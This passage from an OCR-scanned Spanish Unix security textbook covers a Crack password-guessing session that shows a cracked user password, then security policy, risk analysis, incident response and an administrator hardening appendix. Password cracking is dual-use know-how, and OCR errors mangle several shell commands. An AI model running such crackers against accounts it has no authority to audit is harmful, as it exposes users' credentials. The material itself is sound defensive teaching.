make[l]: Leaving directory 1 /usr/local/c50a/src/lib ’ 
make[l]: Entering directory ‘ /usr/local/c50a/src/libdes ’ 

/bin/rm -f *.o tags core rpw destest des speed libdes.a .nfs* * . old \ 

*.bak destest rpw des speed 

make[l]: Leaving directory 1 /usr/local/c50a/src/libdes ’ 
make[l]: Entering directory ‘ /usr/local/c50a/src/util ’ 
rm -f *.o 

make[l]: Leaving directory 1 /usr/local/c50a/src/util ’ 
make[l]: Entering directory ‘/usr/local/c50a/src/lib’ 
make[l]: /run/bin/linux-2-unknown/libc5 . a’ is up to date. 

make[l]: Leaving directory 1 /usr/local/c50a/src/lib ’ 
make[l]: Entering directory ‘ /usr/local/c50a/src/util ’ 
all made in util 

make[l]: Leaving directory 1 /usr/local/c50a/src/util ’ 

Crack: The dictionaries seem up to date... 
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Crack: Sorting out and merging feedback, please be patient... 
Crack: Merging password files... 

Crack: Creating gecos-derived dictionaries 
mkgecosd: making non-permuted words dictionary 
mkgecosd: making permuted words dictionary 
Crack: launching: cracker -kill run/Kluisa. 11110 
Done 

luisa : /usr/local/ c50a# 


Tras clevolver el control al shell el adivinador estara trabajando en segundo piano: 

luisa:/usr/local/c50a# ps 
PID TTY TIME CMD 

10809 ttyp3 00:00:00 bash 

11327 ttyp3 00:00:07 cracker 

11330 ttyp3 00:00:00 kickdict <defunct> 

11333 ttyp3 00:00:00 ps 

luisa : /usr/local/ c50a# 


Podemos comprobar el estado del ataque en todo momento utilizando la utilidad Reporter: 
luisa : /usr/local/ c50a# . /Reporter 

passwords cracked as of Thu May 4 08:05:35 CEST 2000 


Guessed josel [beatriz] Jose Luis,,0, [maquina /bin/ksh] 


done 

luisa : /usr/local/ c50a# 

Y para fmalizar la ejecucion del adivinador utilizaremos el shellscript plaster: 

luisa: /usr/local/ c50a# . / scripts/plaster 
+ kill -TERM 11327 
+ rm -f run/Kluisa. 11110 
+ exit 0 

luisa : /usr/local/ c50a# 

Para fmalizar el punto, hay que volver a insistir sobre el uso regular de Crack en cada una de 
las maquinas bajo nuestra responsabilidad; aunque muchos administradores consideran el utilizar 
este tipo de programas equipararse a un pirata, hemos de pensar siempre que es mejor que las 
contrasenas debiles las encuentre el root antes que un atacante. Y si el administrador no utiliza 
un adivinador de este estilo, puede dar por seguro que un pirata no dudara en hacerlo. 
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Capitulo 16 

Polfticas y normativa 


16.1 Introduction 

El termino politica de seguridad se suele definir como el conjunto de requisites definidos por los 
responsables directos o indirectos de un sistema que indica en terminos generales que esta y que no 
esta permitido en el area de seguridad durante la operacion general de dicho sistema ([Org88]). A1 
tratarse de ‘terminos generales’, aplicables a situaciones o recursos muy diversos, suele ser necesario 
refinar los requisitos de la politica para convertirlos en indicaciones precisas de que es lo permitido y 
lo denegado en cierta parte de la operacion del sistema, lo que se denomina politica de aplicacion 
especffica ([MPS + 93]). 

Una politica de seguridad puede ser prohibitiva, si todo lo que no esta expresamente permiti- 
do esta denegado, o permisiva, si todo lo que no esta expresamente prohibido esta permitido. 
Evidentemente la primera aproximacion es mucho mejor que la segunda de cara a mantener la 
seguridad de un sistema; en este caso la politica contemplaria todas las actividades que se pueden 
realizar en los sistemas, y el resto - las no contempladas - serian consideradas ilegales. 

Cualquier politica ha de contemplar seis elementos claves en la seguridad de un sistema informatico 
([Par94]): 

• Disponibilidad 

Es necesario garantizar que los recursos del sistema se encontraran disponibles cuando se 
necesitan, especialmente la information critica. 

• Utilidad 

Los recursos del sistema y la information manejada en el mismo ha de ser util para alguna 
funcion. 

• Integridad 

La information del sistema ha de estar disponible tal y como se almaceno por un agente 
autorizado. 

• Autenticidad 

El sistema ha de ser capaz de verificar la identidad de sus usuarios, y los usuarios la del 
sistema. 

• Confidencialidad 

La information solo ha de estar disponible para agentes autorizados, especialmente su propie- 
tario. 

• Posesion 

Los propietarios de un sistema han de ser capaces de controlarlo en todo momento; perder 
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este control en favor de un usuario malicioso compromete la seguridad del sistema hacia el 
resto de usuarios. 


16.2 Analisis de riesgos 

El termino analisis de riesgos hace referencia al proceso necesario para responder a tres cuestiones 
basicas sobre nuestra seguridad: 

• ique queremos proteger? 

• ^contra quien o que lo queremos proteger? 

• ^como lo queremos proteger? 

Tras conocer y evaluar los riesgos a los que nos enfrentamos podremos implementar las soluciones 
practicas - los mecanismos - para minimizar sus efectos. Vamos a intentar de entrar con mas detalle 
en como clar respuesta a cada una de estas preguntas: 

16.2.1 Identificacion de recursos 

Debemos identificar todos los recursos cuya integridad pueda ser amenazada de cualquier forma; 
por ejemplo, [C + 91] define basicamente los siguientes: 

• Hardware 

Procesadores, tarjetas, teclados, terminales, estaciones de trabajo, ordenadores personales, 
impresoras, unidades de disco, lfneas de comunicacion, servidores, routers. . . 

• Software 

Codigos fuente y objeto, utilidades, programas de diagnostico, sistemas operativos, programas 
de comunicacion. . . 

• Information 

En ejecucion, almacenados en linea, almacenados fuera de Imea, en comunicacion, bases de 
clatos. . . 

• Personas 

Usuarios, operadores. . . 

• Accesorios 

Papel, cintas, toners. . . 

Aparte del recurso en si (algo tangible, como un router) hemos de considerar la vision intangible 
de cada uno de estos recursos (por ejemplo la capacidad para seguir trabajando sin ese router). Es 
dificil generar estos aspectos intangibles de los recursos, ya que es algo que va a depender de cada 
organization, su funcionamiento, sus seguros, sus normas. . . No obstante, siempre hemos de tener 
en cuenta algunos aspectos comunes: privacidad de los usuarios, imagen publica de la organization, 
reputation, satisfaction del personal y de los clientes - en el caso de una universidad, de los alumnos 
-, capacidad de procesamiento ante un fallo. . . 

Con los recursos correctamente identificados se ha de generar una lista final, que ya incluira todo 
lo que necesitamos proteger en nuestra organization. 

16.2.2 Identificacion de amenazas 

Una vez conocemos los recursos que debemos proteger es la hora de identificar las vulnerabilidades 
y amenazas que se ciernen contra ellos. Una vulnerabilidad es cualquier situation que pueda de- 
sembocar en un problema de seguridad, y una amenaza es la action especffica que aprovecha una 
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vulnerabilidad para crear un problema de seguridad; entre ambas existe una estrecha relation: sin 
vulnerabilidades no hay amenazas, y sin amenazas no hay vulnerabilidades. 

Se suelen dividir las amenazas que existen sobre los sistemas informaticos en tres grandes gru- 
pos, en funcion del ambito o la forma en que se pueden producir: 


• Desastres del entorno. 

Dentro de este grupo se incluyen todos los posibles problemas relacionados con la ubicacion 
del entorno de trabajo informatico o de la propia organizacion, asi como con las personas que 
de una u otra forma estan relacionadas con el mismo. Por ejemplo, se han de tener en cuenta 
desastres naturales (terremotos, inundaciones. . . desastres producidos por elementos cerca- 
nos, como los cortes de fluido electrico, y peligros relacionados con operadores, programadores 
o usuarios del sistema. 


• Amenazas en el sistema. 

Bajo esta denomination se contemplan todas las vulnerabilidades de los equipos y su software 
que pueden acarrear amenazas a la seguridad, como fallos en el sistema operativo, medidas 
de protection que este ofrece, fallos en los programas, copias de seguridad. . . 


• Amenazas en la red. 

Cada dia es menos comun que una maquina trabaje aislada de todas las clemas; se tiende a 
comunicar equipos mediante redes locales, intranets o la propia Internet, y esta interconexion 
acarrea nuevas - y peligrosas - amenazas a la seguridad de los equipos, peligros que hasta 
el momento de la conexion no se suelen tener en cuenta. Por ejemplo, es necesario analizar 
aspectos relativos al cifrado de los clatos en transito por la red, a proteger una red local del 
resto de internet, o a instalar sistemas de autenticacion de usuarios remotos que necesitan 
acceder a ciertos recursos internos a la organizacion (como un investigador que conecta desde 
su casa a traves de un modem) . 

Algo importante a la hora de analizar las amenazas a las que se enfrentan nuestros sistemas es anali- 
zar los potentiates tipos de atacantes que pueden intentar violar nuestra seguridad. Es algo normal 
que a la hora de hablar de atacantes todo el mundo piense en crackers, en piratas informaticos 
mal llamados hackers. No obstante, esto no es mas que el fruto de la repercusion que en todos 
los medios tienen estos individuos y sus acciones; en realidad, la inmensa mayoria de problemas de 
seguridad vienen dados por atacantes internos a la organizacion afectada. En organismos de I+D 
estos atacantes suelen ser los propios estudiantes (rara vez el personal), asi como piratas externos 
a la entidad que aprovechan la habitualmente mala protection de los sistemas universitarios para 
acceder a ellos y conseguir asi cierto status social dentro de un grupo de piratas. Los conocimientos 
de estas personas en materias de sistemas operativos, redes o seguridad informatica suelen ser muy 
limitados, y sus actividades no suelen entranar muchos riesgos a no ser que se utilicen nuestros 
equipos para atacar a otras organizaciones, en cuyo caso a los posibles problemas legates hay que 
sumar la mala imagen que nuestras organizaciones adquieren. 

No siempre hemos de contemplar a las amenazas como actos intencionados contra nuestro sistema: 
muchos de los problemas pueden ser ocasionados por accidentes, desde un operador que derrama 
una taza de cafe sobre una terminal hasta un usuario que tropieza con el cable de alimentation de 
un servidor y lo desconecta de la linea electrica, pasando por temas como el borrado accidental de 
datos o los errores de programacion; decir ‘no lo hice a proposito ’no ayuda nada en estos casos. Por 
supuesto, tampoco tenemos que reducirnos a los accesos no autorizados al sistema: un usuario de 
nuestras maquinas puede intentar conseguir privilegios que no le corresponden, una persona externa 
a la organizacion puede lanzar un ataque de negation de servicio contra la misma sin necesidad de 
conocer ni siquiera un login y una contrasena, etc. 
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16.2.3 Medidas de protection 

Tras identificar todos los recursos que deseamos proteger, asf como las posibles vulnerabilidades 
y amenazas a que nos exponemos y los potentiates atacantes que pueden intentar violar nuestra 
seguridad, hemos de estudiar como proteger nuestros sistemas, sin ofrecer aun implementaciones 
concretas para protegerlos (esto ya no serian politicas sino mecanismos). Esto implica en primer 
lugar cuantificar los danos que cada posible vulnerabilidad puede causar teniendo en cuenta las 
posibilidades de que una amenaza se pueda convertir en realidad. Este calculo puede realizarse 
partiendo de hechos sucedidos con anterioridad en nuestra organizacion, aunque por desgracia en 
muchos lugares no se suelen registrar los incidentes acaecidos. En este caso, y tambien a la hora 
de evaluar los daiios sobre recursos intangibles, existen diversas aproximaciones como el metodo 
Delphi, que basicamente consiste en preguntar a una serie de especialistas de la organizacion sobre 
el dano y las perdidas que cierto problema puede causar; no obstante, la experiencia del adminis- 
trador en materias de seguridad suele tener aquf la ultima palabra a la hora de evaluar los impactos 
de cada amenaza. 

La clasificacion de riesgos de cara a estudiar medidas de protection suele realizarse en base al 
nivel de importancia del dano causado y a la probabilidad aproximada de que ese dano se convierta 
en realidad; se trata principalmente de no gastar mas dinero en una implementation para proteger 
un recurso que lo que vale dicho recurso o lo que nos costana recuperarnos de un dano en el o de 
su perdida total. Por ejemplo, podemos seguir un analisis similar en algunos aspectos al problema 
de la mochila. Llamamos Ri al riesgo de perder un recurso i (a la probabilidad de que se produzca 
un ataque), y le asignamos un valor de 0 a 10 (valores mas altos implican mas probabilidad); de 
la misma forma, definimos tambien de 0 a 10 la importancia de cada recurso, W t , siendo 10 la 
importancia mas alta. La evaluation del riesgo es entonces el producto de ambos valores, llamado 
peso o riesgo evaluado de un recurso, WRi, y medido en dinero perdido por unidad de tiempo 
(generalmente, por ano): 

WR, = Ri * Wi 

De esta forma podemos utilizar hojas de trabajo en las que, para cada recurso, se muestre su nom- 
bre y el numero asignado, asi como los tres valores anteriores. Evidentemente, los recursos que 
presenten un riesgo evaluado mayor seran los que mas medidas de protection deben poseer, ya que 
esto significa que es probable que sean atacados, y que ademas el ataque puede causar perdidas 
importantes. Es especialmente importante un grupo de riesgos denominados inaceptables, aquellos 
cuyo peso supera un cierto umbral; se trata de problemas que no nos podemos permitir en nuestros 
sistemas, por lo que su prevention es crucial para que todo funcione correctamente. 

Una vez que conocemos el riesgo evaluado de cada recurso es necesario efectuar lo que se llama 
el analisis de costes y beneficios. Basicamente consiste en comparar el coste asociado a cada pro- 
blema (calculado anteriormente, WRi) con el coste de prevenir dicho problema. El calculo de este 
ultimo no suele ser complejo si conocemos las posibles medidas de prevention que tenemos a nues- 
tra disposition: por ejemplo, para saber lo que nos cuesta prevenir los efectos de un incendio en la 
sala de operaciones, no tenemos mas que consultar los precios de sistemas de extincion de fuego, o 
para saber lo que nos cuesta proteger nuestra red solo hemos de ver los precios de productos como 
routers que bloqueen paquetes o cortafuegos completos. No solo hemos de tener en cuenta el coste 
de cierta protection, sino tambien lo que nos puede suponer su implementation y su mantenimiento; 
en muchos casos existen soluciones gratuitas para prevenir ciertas amenazas, pero estas soluciones 
tienen un coste asociado relativo a la dificultad de hacerlas funcionar correctamente de una forma 
continua en el tiempo, por ejemplo dedicando a un empleado a su implementation y mantenimiento. 

Cuando ya hemos realizado este analisis no tenemos mas que presentar nuestras cuentas a los 
responsables de la organizacion (o adecuarlas al presupuesto que un departamento destina a mate- 
rias de seguridad), siempre teniendo en cuenta que el gasto de proteger un recurso ante una amenaza 
ha de ser inferior al gasto que se produciria si la amenaza se convirtiera en realidad. Hemos de 
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tener siempre presente que los riesgos se pueden minimizar, pero nunca eliminarlos completamente, 
por lo que sera recomendable planificar no solo la prevention ante de un problema sino tambien 
la recuperation si el mismo se produce; se suele hablar de medidas proactivas (aquellas que se 
toman para prevenir un problema) y medidas reactivas (aquellas que se toman cuando el dano se 
produce, para minimizar sus efectos). 


16.3 Estrategias de respuesta 

^Que hacer cuando nuestra politica de seguridad ha sido violada? La respuesta a esta pregunta 
depende completamente del tipo de violation que se haya producido, de su gravedad, de quien la 
haya provocado, de su intention. . . Si se trata de accidentes o de problemas poco importantes suele 
ser suficiente con una reprimenda verbal o una advertencia; si ha sido un hecho provocado, quizas 
es conveniente emprender acciones algo mas convincentes, como la clausura de las cuentas de forma 
temporal o pequehas sanciones administrativas. En el caso de problemas graves que hayan sido 
intencionados interesara emprender acciones mas duras, como cargos legales o sanciones adminis- 
trativas firmes (por ejemplo, la expulsion de una universidad) . 

Una gran limitation que nos va a afectar mucho es la situation de la persona o personas cau- 
santes de la violation con respecto a la organization que la ha sufrido. En estos casos se suele 
diferenciar entre usuarios internos o locales, que son aquellos pertenecientes a la propia organiza- 
tion, y externos, los que no estan relacionados directamente con la misma; las diferencias entre ellos 
son los limites de red, los administrativos, los legales o los politicos. Evidentemente es mucho mas 
facil buscar responsabilidades ante una violation de la seguridad entre los usuarios internos, ya sea 
contra la propia organization o contra otra, pero utilizando los recursos de la nuestra; cuando estos 
casos se dan en redes de I+D, generalmente ni siquiera es necesario llevar el caso ante la justicia, 
basta con la aplicacion de ciertas normas sobre el usuario problematico (desde una sancion hasta 
la expulsion o clespido de la organization) . 

Existen dos estrategias de respuesta ante un incidente de seguridad ([SH95]): 

• Proteger y proceder. 

• Perseguir y procesar. 

La primera de estas estrategias, proteger y proceder, se suele aplicar cuando la organization es muy 
vulnerable o el nivel de los atacantes es elevado; la filosofia es proteger de manera inmediata la red 
y los sistemas y restaurar su estado normal, de forma que los usuarios puedan seguir trabajando 
normalmente. Seguramente sera necesario interferir de forma activa las acciones del intruso para 
evitar mas accesos, y analizar el dano causado. La principal desventaja de esta estrategia es que el 
atacante se da cuenta rapidamente de que ha sido clescubierto, y puede emprender acciones para ser 
identificado, lo que incluso conduce al borrado de logs o de sistemas de ficheros completes; incluso 
puede cambiar su estrategia de ataque a un nuevo metodo, y seguir comprometiendo al sistema. 
Sin embargo, esta estrategia tambien presenta una parte positiva: el bajo nivel de conocimientos 
de los atacantes en sistemas habituales hace que en muchas ocasiones se limiten a abandonar su 
ataque y dedicarse a probar suerte con otros sistemas menos protegidos en otras organizaciones. 

La segunda estrategia de respuesta, perseguir y procesar, adopta la filosofia de permitir al ata- 
cante proseguir sus actividades, pero de forma controlada y observada por los administradores, de 
la forma mas discreta posible. Con esto, se intentan guardar pruebas para ser utilizadas en la se- 
gunda parte de la estrategia, la de acusacion y procesamiento del atacante (ya sea ante la justicia o 
ante los responsables de la organization, si se trata de usuarios internos). Evidentemente corremos 
el peligro de que el intruso descubra su monitorizacion y clestruya completamente el sistema, asi 
como que nuestros resultados no se tengan en cuenta ante un tribunal clebido a las artimanas legales 
que algunos abogados aprovechan; la parte positiva de esta estrategia es, aparte de la recoleccion de 
pruebas, que permite a los responsables conocer las actividades del atacante, que vulnerabilidades 
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de nuestra organization ha aprovechado para atacarla, como se comporta una vez dentro, etc. De 
esta forma podemos aprovechar el ataque para reforzar los puntos debiles de nuestros sistemas. 

A nadie se le escapan los enormes peligros que entraiia el permitir a un atacante proseguir con 
sus actividades dentro de las maquinas; por muy controladas que esten, en cualquier momento casi 
nada puede evitar que la persona se sienta vigilada, se ponga nerviosa y destruya completamente 
nuestros datos. Una forma de monitorizar sus actividades sin comprometer excesivamente nuestra 
integridad es mediante un proceso denominado jailing o encarcelamiento: la idea es construir un 
sistema que simule al real, pero clonde no se encuentren datos importantes, y que permita observar 
al atacante sin poner en peligro los sistemas reales. Para ello se utiliza una maquina, denominada 
sistema de sacrificio, que es donde el atacante realmente trabaja, y un segundo sistema, deno- 
minado de observation, conectado al anterior y que permite analizar todo lo que esa persona 
esta llevando a cabo. De esta forma conseguimos que el atacante piense que su intrusion ha tenido 
exito y continue con ella mientras lo monitorizamos y recopilamos pruebas para presentar en una 
posible demanda o acusacion. Si deseamos construir una carcel es necesario que dispongamos de 
unos conocimientos medios o elevados de programacion de sistemas; utilidades como chrootO nos 
pueden ser de gran ayuda, asi como software de simulation como Deception Tookit (DTK), que 
Simula el exito de un ataque ante el pirata que lo lanza, pero que realmente nos esta informa del 
intento de violation producido. 

Sin importar la estrategia adoptada ante un ataque, siempre es recomendable ponerse en con- 
tacto con entidades externas a nuestra organization, incluyendo por ejemplo fuerzas de seguridad 
(en Espaiia, Guardia Civil o Policia Nacional), gabinetes juridicos o equipos de expertos en segu- 
ridad informatica, como el CERT. En el caso de instituciones de I+D, en Espaiia existe IrisCERT 
(http://www.rediris.es/cert/), el equipo de respuesta ante emergencias de seguridad de Re- 
dlRIS, la red universitaria espanola, o esCERT (http://escert.upc.es/), la rama espanola del 
CERT. 
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Apendice A 


Seguridad basica para 
administ radores 

A.l Introduction 


Lamentablemente, muchos administradores de equipos Unix no disponen de los conocimientos, del 
tiempo, o simplemente del interes necesario para conseguir sistemas mmimamente fiables. A raiz 
de esto, las maquinas Unix se convierten en una puerta abierta a cualquier ataque, poniendo en 
peligro no solo la integridad del equipo, sino de toda su subred y a la larga de toda Internet. 

Aunque esta situacion se da en cualquier tipo de organizacion, es en las dedicadas a I+D don- 
de se encuentran los casos mas extremos; se trata de redes y equipos Unix muy abiertos y con un 
elevado niimero de usuarios (incluidos externos al perimetro fisico de la organizacion) que precisan 
de una gran disponibilidad de los datos, primando este aspecto de la information ante otros como 
la integridad o la privacidad. Esto convierte a los sistemas Unix de centres de I+D, especialmente 
de universidades, en un objetivo demasiado facil incluso para los piratas menos experimentados. 

Con el objetivo de subsanar esta situacion, aqui se van a intentar marcar unas pautas para conseguir 
un nivel mlnimo de fiabilidad en los equipos Unix. No se va a entrar en detalles muy tecnicos o en 
desarrollos teoricos sobre seguridad que muy pocos van a leer (para eso esta el resto de este proyec- 
to), sino que la idea es unicamente explicar los pasos basicos para que incluso los administradores 
menos preocupados por la seguridad puedan aplicarlos en sus sistemas. A modo de ilustracion, hay 
pequehos ejemplos que han sido realizados sobre una plataforma Solaris 7 (SunOS 5.7); en otros 
clones de Unix quizas sea necesario modificar las opciones de algiin comando o la localization de 
ciertos ficheros. 

Hay que recalcar que se trata de mecanismos basicos de seguridad, que pueden evitar la action de 
algunos piratas casuales (si nuestra maquina ofrece una minima protection abandonaran el ataque 
para dedicarse a equipos menos protegidos) pero no de un atacante con cierta experiencia. Lo ideal 
seria que las pautas marcadas aqui se complementaran con todas las medidas de seguridad posibles, 
y que entre los libros habituates de un administrador se encontraran titulos sobre seguridad en 
Unix; uno especialmente recomendado es Practical Unix & Internet Security , de Simson Garfinkel y 
Gene Spafforcl (Ed. O 'Reilly and Associates, 1996). Tambien es muy recomendable que la persona 
encargada de la seguridad de cada equipo permanezca atenta a los nuevos problemas que cada dia 
surgen; una buena forma de conseguirlo es mediante listas de correo como BUGTRAQ. 
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A. 2 Prevencion 


Los mecanismos de prevencion han de ser los mas importantes para cualquier administrador, ya 
que obviamente es mucho mejor evitar un ataque que detectar ese mismo problema o tener que 
recuperar al sistema tras detectarlo. 

• Cierre de servicios ofrecidos por inetd 

Cada servicio ofrecido en nuestro sistema se convierte en una potencial puerta de acceso al 
mismo, por lo que hemos de minimizar su numero: se recomienda cerrar cualquier servicio 
que no se vaya a utilizar, y todos aquellos de los que no conozcamos su utilidad (si mas tarde 
son necesarios, los podemos volver a abrir). 

Para cerrar un servicio ofrecido desde inetd, en el fichero /etc/inetd. conf debemos comen- 
tar la linea correspondiente a ese servicio, de forma que una entrada como 

telnet stream tcp nowait root /usr/sbin/in.telnetd 

se convierta en una como 

#telnet stream tcp nowait root /usr/sbin/in.telnetd 

Tras efectuar esta operation, debemos reiniciar el demonio inetd para que relea su configu- 
ration; esto lo conseguimos, por ejemplo, con la orden 

anita:/# pkill -HUP inetd 

o, si no disponemos de un comando para enviar seiiales a procesos a partir de su nombre, con 
la orden 

anita:/# kill -HUP ‘ps -eflgrep -w inetdlawk ’{print $2}’‘ 

• Cierre de servicios ofrecidos en el arranque de maquina 

Existen una serie de demonios que ofrecen ciertos servicios, como sendmail, que no se proce- 
san a traves de inetd sino que se lanzan como procesos independientes al arrancar la maquina. 
Para detener este tipo de demonios hemos de comentar las lfneas de nuestros ficheros de arran- 
que encargadas de lanzarlos (generalmente en directories como /etc/rc?.d/ o /etc/rc.d/): 
de esta forma conseguimos que la proxima vez que el sistema se inicie, los demonios no se 
ejecuten. Aparte de esto, hemos de detener los demonios en la sesion actual, ya que en estos 
momentos seguramente estan funcionando; para ello les enviamos la serial SIGKILL mediante 
el comando kill. 

Por ejemplo, en el caso de Solaris, sendmail se lanza desde el archivo 

/etc/rc2 . d/S88sendmail; en este fichero tendremos unas lfneas similares a estas: 

if [ -f /usr/lib/sendmail -a -f /etc/mail/sendmail.cf ]; then 
if [ ! -d /var/spool/mqueue ]; then 

/usr/bin/mkdir -m 0750 /var/spool/mqueue 
/usr/bin/chown root:bin /var/spool/mqueue 
fi 

/usr/lib/sendmail -bd -ql5m & 
fi 

Podemos renombrar este archivo como disabled. S88sendmail o comentar estas lfneas de la 
forma siguiente: 

#if [ -f /usr/lib/sendmail -a -f /etc/mail/sendmail.cf ]; then 

# if [ ! -d /var/spool/mqueue ] ; then 

# /usr/bin/mkdir -m 0750 /var/spool/mqueue 

# /usr/bin/chown root:bin /var/spool/mqueue 

# fi 

# /usr/lib/sendmail -bd -ql5m & 

#fi 
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Y a continuation eliminaremos el proceso sendmail enviandole la serial SIGKILL: 

anita:/# ps -ef I grep sendmail 

root 215 1 0 01:00:38 ? 0:00 /usr/lib/sendmail -bd -ql5m 

anita:/# kill -9 215 

• Instalacion de wrappers 

A pesar de haber cerrado muchos servicios siguiendo los puntos anteriores, existen algunos 
que no podremos dejar de ofrecer, como telnet o ftp, ya que los usuarios van a necesitar 
conectar al sistema de forma remota o transferir ficheros. En estos casos es muy conveniente 
instalar wrappers para los demonios que sigan recibiendo conexiones; mediante el uso de estos 
programas vamos a poder restringir los lugares desde los que nuestro equipo va a aceptar 
peticiones de servicio. Especialmente recomendable es el programa TCP-Wrapper para 
controlar las conexiones servidas por inetd (incluso sendmail se puede controlar por inetd, 
lo cual es muy util si queremos restringir los lugares desde los que nos pueda llegar correo) . 
Por ejemplo, si no utilizamos wrappers para controlar el servicio de telnet, cualquier maquina 
de Internet puede intentar el acceso a nuestro sistema: 

luisa:~$ telnet anita 
Trying 195.195.5.3... 

Connected to anita. 

Escape character is ’ ”] 1 . 

SunOS 5.7 

login: 

Sin embargo, configurando TCP-Wrapper para que no admita conexiones desde fuera de la 
universidad, si alguien intenta lo mismo obtendra un resultado similar al siguiente: 

luisa:~$ telnet anita 
Trying 195.195.5.3... 

Connected to anita. 

Escape character is ’ ”] 1 . 

Connection closed by foreign host, 
luisa: 

De esta forma, incluso si el atacante conociera un nombre de usuario y su clave le seria mas 
difrcil acceder a nuestro equipo por telnet. 

• Ficheros setuidados y setgidados 

En un sistema Unix recien instalado podemos tener incluso mas de cincuenta ficheros con los 
modos setuid o setgid activados; cualquiera de estos programas representa un potencial agujero 
a la seguridad de nuestro sistema, y aunque muchos son necesarios (como /bin/passwd en la 
mayoria de situaciones), de otros se puede prescindir. Para localizar los ficheros setuidados 
podemos utilizar la orden 

anita:/# find / -perm -4000 -type f -print 

mientras que para localizar los setgidados podemos utilizar 

anita:/# find / -perm -2000 -type f -print 

Es conveniente que reduzcamos al mfnimo el niimero de estos archivos, pero tampoco se 
recomienda borrarlos del sistema de ficheros; es mucho mas habitual resetear el bit de setuid 
o setgid , y en caso de que sea necesario volverlo a activar. Para clesactivar estos bits podemos 
usar la orden chmod -s, mientras que para activarlos utilizaremos chmod u+s o chmod g+s. 
Por ejemplo, si el fichero /usr/lib/f s/uf s/uf sdump esta setuidado , un listado largo del 
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mismo nos mostrara una s en el campo cle ejecucion para propietario, mientras que si esta 
setgidado aparecera una s en el campo de ejecucion para grupo; podemos resetear los dos bits 
con la orden vista anteriormente: 

anita:/# Is -1 /usr/lib/f s/uf s/uf sdump 

-r-sr-sr-x 1 root tty 144608 Oct 6 1998 /usr/lib/f s/uf s/uf sdump 
anita:/# chmod -s /usr/lib/f s/uf s/uf sdump 
anita:/# Is -1 /usr/lib/f s/uf s/uf sdump 

-r-xr-xr-x 1 root tty 144608 Oct 6 1998 /usr/lib/f s/uf s/uf sdump 

• Cifrado de datos 

El principal problema de las claves viajando en texto claro por la red es que cualquier atacante 
puede leerlas: si usamos telnet, rlogin o ftp, cualquier persona situada entre nuestra 
estacion de trabajo y el servidor al que conectamos puede ‘esnifar’ los paquetes que circulan 
por la red y obtener asi nuestro nombre de usuario y nuestro password. Para evitar este 
problema es conveniente utilizar software que implemente protocolos cifrados para conectar; 
el mas habitual hoy en dia es SSH ( Secure Shell). Por una parte, tenemos el programa servidor 
sshd, que se ha de instalar en el equipo al que conectamos, y por otra programas clientes 
(ssh para sustituir a rsh/rlogin y scp para sustituir a rep). 

Una vez instalado, este software es transparente al usuario: simplemente ha de recordar su 
clave, igual que si conectara por telnet o rlogin. 

• Relaciones de confianza 

En el fichero /etc/hosts .equiv se indican, una en cada linea, las maquinas confiables. /Que 
significa confiablesl Basicamente que confiamos en su seguridad tanto como en la nuestra, por 
lo que para facilitar la comparticion de recursos, no se van a pedir contrasehas a los usuarios 
que quieran conectar desde estas maquinas con el mismo login , utilizando las ordenes BSD r* 
(rlogin, rsh, rep. . .). Por ejemplo, si en el fichero /etc/hosts . equiv del servidor anita 
hay una entrada para el nombre de host luisa, cualquier usuario 1 de este sistema puede 
ejecutar una orden como la siguiente para conectar a anita ;sin necesidad de ninguna 
clave!: 

luisa: rlogin anita 

Last login: Sun Oct 31 08:27:54 from localhost 

Sun Microsystems Inc. SunOS 5.7 Generic October 1998 

anita: 

Obviamente, esto supone un gran problema de seguridad, por lo que lo mas recomendable 
es que el fichero /etc/hosts . equiv este vaefo o no exista. De la misma forma, los usuarios 
pueden crear ficheros $H0ME/ . rhosts para establecer un mecanismo de confiabilidad bast an- 
te similar al de /etc/hosts . equiv; es importante para la seguridad de nuestro sistema el 
controlar la existencia y el contenido de estos archivos .rhosts. Por ejemplo, podemos apro- 
vechar las facilidades de planificacion de tareas de Unix para, cada cierto tiempo, chequear los 
directories $H0ME de los usuarios en busca de estos ficheros, eliminandolos si los encontramos. 
Un shellscript. que hace esto puede ser el siguiente: 

# ! /bin/sh 

for i in ‘cat /etc/passwd lawk -F : ’{print $6} Jt ; do 
cd $i 

if [ -f .rhosts ]; then 

echo "$i/. rhosts detectado" Imail -s "rhosts" root 
rm -f $i/. rhosts 
fi 

done 

1 Except. o el root. 
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Este programa envi'a un correo al root en caso de encontrar un fichero . rhosts, y lo elimina; 
podemos planificarlo mediante cron para que se ejecute, por ejemplo, cada cinco minutos. La 
forma de planificarlo clepende del cion de Unix en el que trabajemos, por lo que se recomienda 
consultar la pagina del manual de cron o crond; en el caso de Solaris, para que se ejecute 
cada vez que cron clespierte, y suponiendo que el script se llame /usr/local/sbin/busca, 
pondriamos en nuestro crontab (con crontab -e) una lfnea como 

***** /usr/local/sbin/busca 2>&1 >/dev/null 

Hemos de estar atentos a la carga que este tipo de actividades periodicas puede introducir 
en el sistema; la orden anterior se va a ejecutar cada vez que cron despierta, generalmente 
una vez por minuto, lo que implica que en maquinas con un gran numero de usuarios puede 
introducir un factor importante de operaciones de I/O. Una solution mas adecuada en estas 
situaciones serfa planificar el programa para que se ejecute cada cinco o diez minutos, o el 
tiempo que estimemos necesario en nuestro equipo. 

• Polftica de cuentas 

Muchos clones de Unix se instalan con cuentas consideradas ‘del sistema’, es clecir, que no 
corresponden a ningiin usuario concreto sino que existen por cuestiones de compatibilidad o 
para la correcta ejecucion de algunos programas. Algunas de estas cuentas no tienen contra- 
seiia, o tienen una conocida por todo el mundo, por lo que representan una grave amenaza a 
la seguridad: hemos de deshabilitarlas para evitar que alguien pueda conectar a nuestro equi- 
po mediante ellas. Algunos ejemplos de este tipo de cuentas son guest, demo, uucp, games, 
4DGifts o lp. 

Para deshabilitar una cuenta, en Unix no tenemos mas que insertar un asterisco en el campo 
passwd en la lfnea correspondiente del fichero de claves (generalmente /etc/passwd o 
/etc/shadow). De esta forma, una entrada como 

toni : 7atzxSJlPVVaQ : 1001 : 10 : Toni Villalon: / export /home/toni : /bin/ sh 

pasarfa a convertirse en 

toni : *7atzxSJlPVVaQ : 1001 : 10 :Toni Villalon: /export/home/toni : /bin/ sh 

Aparte de este tipo de cuentas, hemos de tener un especial cuidado con las cuentas de usuario 
que no tienen contrasena o que tienen una clave debil; para detectar este ultimo problema 
podemos utilizar programas adivinadores como Crack , mientras que para evitarlo podemos 
utilizar NPasswd o Passwd+, ademas de sistemas Shadow Password para que los usuarios no 
puedan leer las claves cifradas. Para detectar cuentas sin contrasena (aunque tambien Crack 
nos las indicara), podemos utilizar la siguiente orden, obviamente sustituyendo /etc/passwd 
por el fichero de claves de nuestro sistema: 

